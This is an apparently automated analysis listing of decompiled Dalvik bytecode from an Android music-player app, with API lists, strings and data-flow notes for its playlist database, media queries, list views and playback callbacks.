  • com.twdlphqg.app.TouchInterceptor.getChildAt
  • android.view.View.getTop
  • com.twdlphqg.app.TouchInterceptor.getAdapter
  • com.twdlphqg.app.TouchInterceptor.setAdapter
  • com.twdlphqg.app.TouchInterceptor.setSelectionFromTop
  • com.twdlphqg.app.TouchInterceptor.layoutChildren
  • com.twdlphqg.app.TouchInterceptor.getChildAt
  • android.view.View.getLayoutParams
  • android.view.View.setLayoutParams
  • android.view.View.setVisibility
Position Instruction Meta Information
0.param p1, "deletion" # Z
1.prologue
2const/4 v6, 0x0
3const/4 v0, 0x0
4goto_2:
5invoke-virtual {p0, v0}, Lcom/twdlphqg/app/TouchInterceptor;->getChildAt(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 0
6move-result-object v3
7if-nez v3, :cond_2a
8if-eqz p1, :cond_20
10invoke-virtual {p0}, Lcom/twdlphqg/app/TouchInterceptor;->getFirstVisiblePosition()I
11move-result v2
13invoke-virtual {p0, v6}, Lcom/twdlphqg/app/TouchInterceptor;->getChildAt(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 0
14move-result-object v5
16invoke-virtual {v5}, Landroid/view/View;->getTop()I
17move-result v4
19invoke-virtual {p0}, Lcom/twdlphqg/app/TouchInterceptor;->getAdapter()Landroid/widget/ListAdapter;
20move-result-object v5
22invoke-virtual {p0, v5}, Lcom/twdlphqg/app/TouchInterceptor;->setAdapter(Landroid/widget/ListAdapter;)V
24invoke-virtual {p0, v2, v4}, Lcom/twdlphqg/app/TouchInterceptor;->setSelectionFromTop(II)V
25cond_20:
26invoke-virtual {p0}, Lcom/twdlphqg/app/TouchInterceptor;->layoutChildren()V
28invoke-virtual {p0, v0}, Lcom/twdlphqg/app/TouchInterceptor;->getChildAt(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 0
29try_end_26: move-result-object v3
30goto_27: if-nez v3, :cond_2a
31return-void
32cond_2a:
33invoke-virtual {v3}, Landroid/view/View;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
34move-result-object v1
35iget v5, p0, Lcom/twdlphqg/app/TouchInterceptor;->mItemHeightNormal:I
36iput v5, v1, Landroid/view/ViewGroup$LayoutParams;->height:I
38invoke-virtual {v3, v1}, Landroid/view/View;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
40invoke-virtual {v3, v6}, Landroid/view/View;->setVisibility(I)V
  • Data flow analysis:
    • visibility: 0
41add-int/lit8 v0, v0, 0x1
42goto/16 :goto_2
43catch_3b: move-exception v5
44goto/16 :goto_27
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.database.sqlite.SQLiteDatabase.execSQL
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.database.sqlite.SQLiteDatabase.execSQL
  • com.twdlphqg.app.dals.DB.onCreate
Strings
  • DROP TABLE IF EXISTS
Position Instruction Meta Information
0.param p1, "db" # Landroid/database/sqlite/SQLiteDatabase;
1.param p2, "oldVersion" # I
2.param p3, "newVersion" # I
3.prologue
4new-instance v0, Ljava/lang/StringBuilder;
6const-string v1, "DROP TABLE IF EXISTS "
8invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: DROP TABLE IF EXISTS
10sget-object v1, Lcom/twdlphqg/app/conf/constants;->TBL_PLAYLISTS:Ljava/lang/String;
12invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
13move-result-object v0
15invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
16move-result-object v0
18invoke-virtual {p1, v0}, Landroid/database/sqlite/SQLiteDatabase;->execSQL(Ljava/lang/String;)V
19new-instance v0, Ljava/lang/StringBuilder;
21const-string v1, "DROP TABLE IF EXISTS "
23invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: DROP TABLE IF EXISTS
25sget-object v1, Lcom/twdlphqg/app/conf/constants;->TBL_TRACKS:Ljava/lang/String;
27invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
28move-result-object v0
30invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
31move-result-object v0
33invoke-virtual {p1, v0}, Landroid/database/sqlite/SQLiteDatabase;->execSQL(Ljava/lang/String;)V
35invoke-virtual {p0, p1}, Lcom/twdlphqg/app/dals/DB;->onCreate(Landroid/database/sqlite/SQLiteDatabase;)V
36return-void
Cross References
APIs
  • android.content.ContentValues.<init>
  • android.content.ContentValues.put
  • java.lang.Integer.valueOf
  • android.content.ContentValues.put
  • java.lang.Integer.valueOf
  • android.content.ContentValues.put
  • java.lang.Integer.valueOf
  • android.content.ContentValues.put
  • android.database.sqlite.SQLiteDatabase.insert
Position Instruction Meta Information
0.param p1, "track" # Lcom/twdlphqg/app/models/Track;
1.param p2, "playlistID" # I
2.prologue
3new-instance v0, Landroid/content/ContentValues;
5invoke-direct {v0}, Landroid/content/ContentValues;-><init>()V
7sget-object v1, Lcom/twdlphqg/app/conf/constants;->COL_ARTIST:Ljava/lang/String;
9invoke-virtual {p1}, Lcom/twdlphqg/app/models/Track;->getArtist()Ljava/lang/String;
10move-result-object v2
12invoke-virtual {v0, v1, v2}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
14sget-object v1, Lcom/twdlphqg/app/conf/constants;->COL_NAME:Ljava/lang/String;
16invoke-virtual {p1}, Lcom/twdlphqg/app/models/Track;->getTitle()Ljava/lang/String;
17move-result-object v2
19invoke-virtual {v0, v1, v2}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
21sget-object v1, Lcom/twdlphqg/app/conf/constants;->COL_PATH:Ljava/lang/String;
23invoke-virtual {p1}, Lcom/twdlphqg/app/models/Track;->getPath()Ljava/lang/String;
24move-result-object v2
26invoke-virtual {v0, v1, v2}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
28sget-object v1, Lcom/twdlphqg/app/conf/constants;->COL_REF_PLAYLIST_ID:Ljava/lang/String;
30invoke-static {p2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
31move-result-object v2
33invoke-virtual {v0, v1, v2}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/Integer;)V
35sget-object v1, Lcom/twdlphqg/app/conf/constants;->COL_ALBUM_ID:Ljava/lang/String;
37invoke-virtual {p1}, Lcom/twdlphqg/app/models/Track;->getAlbumId()I
38move-result v2
40invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
41move-result-object v2
43invoke-virtual {v0, v1, v2}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/Integer;)V
45sget-object v1, Lcom/twdlphqg/app/conf/constants;->COL_TRACK_ID:Ljava/lang/String;
47invoke-virtual {p1}, Lcom/twdlphqg/app/models/Track;->getId()I
48move-result v2
50invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
51move-result-object v2
53invoke-virtual {v0, v1, v2}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/Integer;)V
55iget-object v1, p0, Lcom/twdlphqg/app/dals/TrackDal;->dbHandler:Landroid/database/sqlite/SQLiteDatabase;
57sget-object v2, Lcom/twdlphqg/app/conf/constants;->TBL_TRACKS:Ljava/lang/String;
58const/4 v3, 0x0
60invoke-virtual {v1, v2, v3, v0}, Landroid/database/sqlite/SQLiteDatabase;->insert(Ljava/lang/String;Ljava/lang/String;Landroid/content/ContentValues;)J
  • Data flow analysis:
    • p1: 0
61return-void
Cross References
APIs
  • java.lang.Object.<init>
  • java.lang.Boolean.valueOf
  • android.os.Parcel.readInt
  • android.os.Parcel.readString
  • android.os.Parcel.readInt
Position Instruction Meta Information
0.param p1, "in" # Landroid/os/Parcel;
1.prologue
2const/4 v1, 0x0
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
6invoke-static {v1}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 0
7move-result-object v0
8iput-object v0, p0, Lcom/twdlphqg/app/models/Track;->selected:Ljava/lang/Boolean;
10invoke-static {v1}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 0
11move-result-object v0
12iput-object v0, p0, Lcom/twdlphqg/app/models/Track;->checked:Ljava/lang/Boolean;
14invoke-virtual {p1}, Landroid/os/Parcel;->readInt()I
15move-result v0
16iput v0, p0, Lcom/twdlphqg/app/models/Track;->id:I
18invoke-virtual {p1}, Landroid/os/Parcel;->readString()Ljava/lang/String;
19move-result-object v0
20iput-object v0, p0, Lcom/twdlphqg/app/models/Track;->title:Ljava/lang/String;
22invoke-virtual {p1}, Landroid/os/Parcel;->readString()Ljava/lang/String;
23move-result-object v0
24iput-object v0, p0, Lcom/twdlphqg/app/models/Track;->artist:Ljava/lang/String;
26invoke-virtual {p1}, Landroid/os/Parcel;->readString()Ljava/lang/String;
27move-result-object v0
28iput-object v0, p0, Lcom/twdlphqg/app/models/Track;->path:Ljava/lang/String;
30invoke-virtual {p1}, Landroid/os/Parcel;->readString()Ljava/lang/String;
31move-result-object v0
32iput-object v0, p0, Lcom/twdlphqg/app/models/Track;->size:Ljava/lang/String;
34invoke-virtual {p1}, Landroid/os/Parcel;->readString()Ljava/lang/String;
35move-result-object v0
36iput-object v0, p0, Lcom/twdlphqg/app/models/Track;->duration:Ljava/lang/String;
38invoke-virtual {p1}, Landroid/os/Parcel;->readString()Ljava/lang/String;
39move-result-object v0
40iput-object v0, p0, Lcom/twdlphqg/app/models/Track;->extension:Ljava/lang/String;
42invoke-virtual {p1}, Landroid/os/Parcel;->readInt()I
43move-result v0
44iput v0, p0, Lcom/twdlphqg/app/models/Track;->albumId:I
45return-void
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.content.ContentResolver.query
Strings
  • _id
  • artist
  • artist LIKE ?
  • %
Position Instruction Meta Information
0.param p1, "name" # Ljava/lang/String;
1.annotation system Ldalvik/annotation/Signature;
2value = {
3"(",
4"Ljava/lang/String;",
5")",
6"Ljava/util/ArrayList",
7"<",
8"Lcom/twdlphqg/app/models/Artist;",
9">;"
10}
11.end annotation
12.prologue
13const/4 v4, 0x1
14const/4 v8, 0x0
16sget-object v1, Landroid/provider/MediaStore$Audio$Artists;->EXTERNAL_CONTENT_URI:Landroid/net/Uri;
17const/4 v0, 0x2
18new-array v2, v0, [Ljava/lang/String;
20const-string v0, "_id"
21aput-object v0, v2, v8
23const-string v0, "artist"
24aput-object v0, v2, v4
26iget-object v0, p0, Lcom/twdlphqg/app/dals/ArtistDal;->contentResolver:Landroid/content/ContentResolver;
28const-string v3, "artist LIKE ?"
29new-array v4, v4, [Ljava/lang/String;
30new-instance v5, Ljava/lang/StringBuilder;
32const-string v7, "%"
34invoke-direct {v5, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: %
36invoke-virtual {v5, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
37move-result-object v5
39const-string v7, "%"
41invoke-virtual {v5, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: %
42move-result-object v5
44invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
45move-result-object v5
46aput-object v5, v4, v8
47const/4 v5, 0x0
49invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
  • Data flow analysis:
    • p2: artist LIKE ?
    • p4: 0
50move-result-object v6
52invoke-direct {p0, v6}, Lcom/twdlphqg/app/dals/ArtistDal;->convertMediaStoreCursorToArrayList(Landroid/database/Cursor;)Ljava/util/ArrayList;
53move-result-object v0
54return-object v0
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.content.ContentResolver.query
Strings
  • _id
  • album
  • artist
  • album_art
  • _id=
Position Instruction Meta Information
0.param p1, "id" # I
1.annotation system Ldalvik/annotation/Signature;
2value = {
3"(I)",
4"Ljava/util/ArrayList",
5"<",
6"Lcom/twdlphqg/app/models/Album;",
7">;"
8}
9.end annotation
10.prologue
11const/4 v4, 0x0
13sget-object v1, Landroid/provider/MediaStore$Audio$Albums;->EXTERNAL_CONTENT_URI:Landroid/net/Uri;
14const/4 v0, 0x4
15new-array v2, v0, [Ljava/lang/String;
16const/4 v0, 0x0
18const-string v3, "_id"
19aput-object v3, v2, v0
20const/4 v0, 0x1
22const-string v3, "album"
23aput-object v3, v2, v0
24const/4 v0, 0x2
26const-string v3, "artist"
27aput-object v3, v2, v0
28const/4 v0, 0x3
30const-string v3, "album_art"
31aput-object v3, v2, v0
33iget-object v0, p0, Lcom/twdlphqg/app/dals/AlbumDal;->contentResolver:Landroid/content/ContentResolver;
34new-instance v3, Ljava/lang/StringBuilder;
36const-string v5, "_id="
38invoke-direct {v3, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: _id=
40invoke-virtual {v3, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
41move-result-object v3
43invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
44move-result-object v3
45move-object v5, v4
47invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
  • Data flow analysis:
    • p3: 0
    • p4: 0
48move-result-object v6
50invoke-direct {p0, v6}, Lcom/twdlphqg/app/dals/AlbumDal;->convertMediaStoreCursorToArrayList(Landroid/database/Cursor;)Ljava/util/ArrayList;
51move-result-object v0
52return-object v0
Cross References
APIs
  • android.content.ContentValues.<init>
  • android.content.ContentValues.put
  • java.lang.String.valueOf
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.database.sqlite.SQLiteDatabase.update
Strings
  • =
Position Instruction Meta Information
0.param p1, "name" # Ljava/lang/String;
1.param p2, "playlistID" # I
2.prologue
3if-eqz p1, :cond_33
5const-string v1, ""
6if-eq p1, v1, :cond_33
7if-eqz p2, :cond_33
8new-instance v0, Landroid/content/ContentValues;
10invoke-direct {v0}, Landroid/content/ContentValues;-><init>()V
12sget-object v1, Lcom/twdlphqg/app/conf/constants;->COL_NAME:Ljava/lang/String;
14invoke-virtual {v0, v1, p1}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
16iget-object v1, p0, Lcom/twdlphqg/app/dals/PlaylistDal;->dbHandler:Landroid/database/sqlite/SQLiteDatabase;
18sget-object v2, Lcom/twdlphqg/app/conf/constants;->TBL_PLAYLISTS:Ljava/lang/String;
19new-instance v3, Ljava/lang/StringBuilder;
21sget-object v4, Lcom/twdlphqg/app/conf/constants;->COL_ID:Ljava/lang/String;
23invoke-static {v4}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
24move-result-object v4
26invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
28const-string v4, "="
30invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: =
31move-result-object v3
33invoke-virtual {v3, p2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
34move-result-object v3
36invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
37move-result-object v3
38const/4 v4, 0x0
40invoke-virtual {v1, v2, v0, v3, v4}, Landroid/database/sqlite/SQLiteDatabase;->update(Ljava/lang/String;Landroid/content/ContentValues;Ljava/lang/String;[Ljava/lang/String;)I
  • Data flow analysis:
    • p3: 0
41cond_33: return-void
APIs
  • android.view.View.findViewById
  • android.widget.CheckBox.isChecked
  • java.util.ArrayList.get
  • java.lang.Boolean.valueOf
  • java.util.ArrayList.get
  • java.util.ArrayList.remove
  • java.util.ArrayList.get
  • java.lang.Boolean.valueOf
  • java.util.ArrayList.get
  • java.util.ArrayList.add
Position Instruction Meta Information
0.param p2, "view" # Landroid/view/View;
1.param p3, "arg2" # I
2.param p4, "arg3" # J
3.annotation system Ldalvik/annotation/Signature;
4value = {
5"(",
6"Landroid/widget/AdapterView",
7"<*>;",
8"Landroid/view/View;",
9"IJ)V"
10}
11.end annotation
12.prologue
13const v1, 0x7f0a004f
15invoke-virtual {p2, v1}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 2131361871
16move-result-object v0
17check-cast v0, Landroid/widget/CheckBox;
19invoke-virtual {v0}, Landroid/widget/CheckBox;->isChecked()Z
20move-result v1
21if-eqz v1, :cond_31
23iget-object v1, p0, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment$1;->this$0:Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;
25iget-object v1, v1, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;->playlists:Ljava/util/ArrayList;
27invoke-virtual {v1, p3}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
28move-result-object v1
29check-cast v1, Lcom/twdlphqg/app/models/Playlist;
30const/4 v2, 0x0
32invoke-static {v2}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 0
33move-result-object v2
35invoke-virtual {v1, v2}, Lcom/twdlphqg/app/models/Playlist;->setChecked(Ljava/lang/Boolean;)V
37iget-object v1, p0, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment$1;->this$0:Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;
39iget-object v1, v1, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;->selectedPlaylists:Ljava/util/ArrayList;
41iget-object v2, p0, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment$1;->this$0:Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;
43iget-object v2, v2, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;->playlists:Ljava/util/ArrayList;
45invoke-virtual {v2, p3}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
46move-result-object v2
48invoke-virtual {v1, v2}, Ljava/util/ArrayList;->remove(Ljava/lang/Object;)Z
49goto_30: return-void
50cond_31:
51iget-object v1, p0, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment$1;->this$0:Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;
53iget-object v1, v1, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;->playlists:Ljava/util/ArrayList;
55invoke-virtual {v1, p3}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
56move-result-object v1
57check-cast v1, Lcom/twdlphqg/app/models/Playlist;
58const/4 v2, 0x1
60invoke-static {v2}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 1
61move-result-object v2
63invoke-virtual {v1, v2}, Lcom/twdlphqg/app/models/Playlist;->setChecked(Ljava/lang/Boolean;)V
65iget-object v1, p0, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment$1;->this$0:Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;
67iget-object v2, v1, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;->selectedPlaylists:Ljava/util/ArrayList;
69iget-object v1, p0, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment$1;->this$0:Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;
71iget-object v1, v1, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;->playlists:Ljava/util/ArrayList;
73invoke-virtual {v1, p3}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
74move-result-object v1
75check-cast v1, Lcom/twdlphqg/app/models/Playlist;
77invoke-virtual {v2, v1}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
78goto/16 :goto_30
APIs
  • android.view.View.findViewById
  • android.widget.CheckBox.isChecked
  • java.util.ArrayList.get
  • java.lang.Boolean.valueOf
  • java.util.ArrayList.get
  • java.util.ArrayList.remove
  • java.util.ArrayList.get
  • java.lang.Boolean.valueOf
  • java.util.ArrayList.get
  • java.util.ArrayList.add
Position Instruction Meta Information
0.param p2, "view" # Landroid/view/View;
1.param p3, "arg2" # I
2.param p4, "arg3" # J
3.annotation system Ldalvik/annotation/Signature;
4value = {
5"(",
6"Landroid/widget/AdapterView",
7"<*>;",
8"Landroid/view/View;",
9"IJ)V"
10}
11.end annotation
12.prologue
13const v1, 0x7f0a004f
15invoke-virtual {p2, v1}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 2131361871
16move-result-object v0
17check-cast v0, Landroid/widget/CheckBox;
19invoke-virtual {v0}, Landroid/widget/CheckBox;->isChecked()Z
20move-result v1
21if-eqz v1, :cond_31
23iget-object v1, p0, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment$1;->this$0:Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;
25iget-object v1, v1, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;->tracks:Ljava/util/ArrayList;
27invoke-virtual {v1, p3}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
28move-result-object v1
29check-cast v1, Lcom/twdlphqg/app/models/Track;
30const/4 v2, 0x0
32invoke-static {v2}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 0
33move-result-object v2
35invoke-virtual {v1, v2}, Lcom/twdlphqg/app/models/Track;->setChecked(Ljava/lang/Boolean;)V
37iget-object v1, p0, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment$1;->this$0:Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;
39iget-object v1, v1, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;->selectedTracks:Ljava/util/ArrayList;
41iget-object v2, p0, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment$1;->this$0:Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;
43iget-object v2, v2, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;->tracks:Ljava/util/ArrayList;
45invoke-virtual {v2, p3}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
46move-result-object v2
48invoke-virtual {v1, v2}, Ljava/util/ArrayList;->remove(Ljava/lang/Object;)Z
49goto_30: return-void
50cond_31:
51iget-object v1, p0, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment$1;->this$0:Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;
53iget-object v1, v1, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;->tracks:Ljava/util/ArrayList;
55invoke-virtual {v1, p3}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
56move-result-object v1
57check-cast v1, Lcom/twdlphqg/app/models/Track;
58const/4 v2, 0x1
60invoke-static {v2}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 1
61move-result-object v2
63invoke-virtual {v1, v2}, Lcom/twdlphqg/app/models/Track;->setChecked(Ljava/lang/Boolean;)V
65iget-object v1, p0, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment$1;->this$0:Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;
67iget-object v2, v1, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;->selectedTracks:Ljava/util/ArrayList;
69iget-object v1, p0, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment$1;->this$0:Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;
71iget-object v1, v1, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;->tracks:Ljava/util/ArrayList;
73invoke-virtual {v1, p3}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
74move-result-object v1
75check-cast v1, Lcom/twdlphqg/app/models/Track;
77invoke-virtual {v2, v1}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
78goto/16 :goto_30
APIs
  • android.os.ResultReceiver.onReceiveResult
  • android.os.Bundle.getString
  • java.util.ArrayList.get
  • java.lang.Boolean.valueOf
  • android.os.Bundle.getString
  • java.lang.Integer.parseInt
  • java.util.ArrayList.get
  • java.lang.Boolean.valueOf
  • com.twdlphqg.app.services.AudioPlayerService.play
  • com.twdlphqg.app.PlayerActivity.access$2
Position Instruction Meta Information
0.param p1, "resultCode" # I
1.param p2, "resultData" # Landroid/os/Bundle;
2.prologue
4invoke-super {p0, p1, p2}, Landroid/os/ResultReceiver;->onReceiveResult(ILandroid/os/Bundle;)V
5const/16 v1, 0xc8
6if-ne p1, v1, :cond_5e
7move-object v0, p2
9sget-object v1, Lcom/twdlphqg/app/conf/constants;->TRACK_INDEX_KEY:Ljava/lang/String;
11invoke-virtual {v0, v1}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
12move-result-object v1
13if-eqz v1, :cond_5e
15iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$CustomResultReceiver;->this$0:Lcom/twdlphqg/app/PlayerActivity;
17iget-object v1, v1, Lcom/twdlphqg/app/PlayerActivity;->tracks:Ljava/util/ArrayList;
19iget-object v2, p0, Lcom/twdlphqg/app/PlayerActivity$CustomResultReceiver;->this$0:Lcom/twdlphqg/app/PlayerActivity;
20iget v2, v2, Lcom/twdlphqg/app/PlayerActivity;->trackIndex:I
22invoke-virtual {v1, v2}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
23move-result-object v1
24check-cast v1, Lcom/twdlphqg/app/models/Track;
25const/4 v2, 0x0
27invoke-static {v2}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 0
28move-result-object v2
30invoke-virtual {v1, v2}, Lcom/twdlphqg/app/models/Track;->setSelected(Ljava/lang/Boolean;)V
32iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$CustomResultReceiver;->this$0:Lcom/twdlphqg/app/PlayerActivity;
34sget-object v2, Lcom/twdlphqg/app/conf/constants;->TRACK_INDEX_KEY:Ljava/lang/String;
36invoke-virtual {v0, v2}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
37move-result-object v2
39invoke-static {v2}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
40move-result v2
41iput v2, v1, Lcom/twdlphqg/app/PlayerActivity;->trackIndex:I
43iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$CustomResultReceiver;->this$0:Lcom/twdlphqg/app/PlayerActivity;
45iget-object v1, v1, Lcom/twdlphqg/app/PlayerActivity;->tracks:Ljava/util/ArrayList;
47iget-object v2, p0, Lcom/twdlphqg/app/PlayerActivity$CustomResultReceiver;->this$0:Lcom/twdlphqg/app/PlayerActivity;
48iget v2, v2, Lcom/twdlphqg/app/PlayerActivity;->trackIndex:I
50invoke-virtual {v1, v2}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
51move-result-object v1
52check-cast v1, Lcom/twdlphqg/app/models/Track;
53const/4 v2, 0x1
55invoke-static {v2}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 1
56move-result-object v2
58invoke-virtual {v1, v2}, Lcom/twdlphqg/app/models/Track;->setSelected(Ljava/lang/Boolean;)V
60iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$CustomResultReceiver;->this$0:Lcom/twdlphqg/app/PlayerActivity;
62iget-object v1, v1, Lcom/twdlphqg/app/PlayerActivity;->audioPlayerService:Lcom/twdlphqg/app/services/AudioPlayerService;
64iget-object v2, p0, Lcom/twdlphqg/app/PlayerActivity$CustomResultReceiver;->this$0:Lcom/twdlphqg/app/PlayerActivity;
65iget v2, v2, Lcom/twdlphqg/app/PlayerActivity;->trackIndex:I
67iget-object v3, p0, Lcom/twdlphqg/app/PlayerActivity$CustomResultReceiver;->this$0:Lcom/twdlphqg/app/PlayerActivity;
69iget-object v3, v3, Lcom/twdlphqg/app/PlayerActivity;->tracks:Ljava/util/ArrayList;
71invoke-virtual {v1, v2, v3}, Lcom/twdlphqg/app/services/AudioPlayerService;->play(ILjava/util/ArrayList;)V
73iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$CustomResultReceiver;->this$0:Lcom/twdlphqg/app/PlayerActivity;
75invoke-static {v1}, Lcom/twdlphqg/app/PlayerActivity;->access$2(Lcom/twdlphqg/app/PlayerActivity;)V
76cond_5e: return-void
APIs
  • android.view.LayoutInflater.inflate
  • com.twdlphqg.app.fragments.AlbumFragment.getArguments
  • android.os.Bundle.getParcelableArrayList
  • com.twdlphqg.app.fragments.AlbumFragment.getActivity
  • android.support.v4.app.FragmentActivity.getApplicationContext
  • com.twdlphqg.app.adapter.AlbumAdapter.<init>
  • android.view.View.findViewById
  • android.widget.ListView.setAdapter
  • android.widget.ListView.setOnItemClickListener
Position Instruction Meta Information
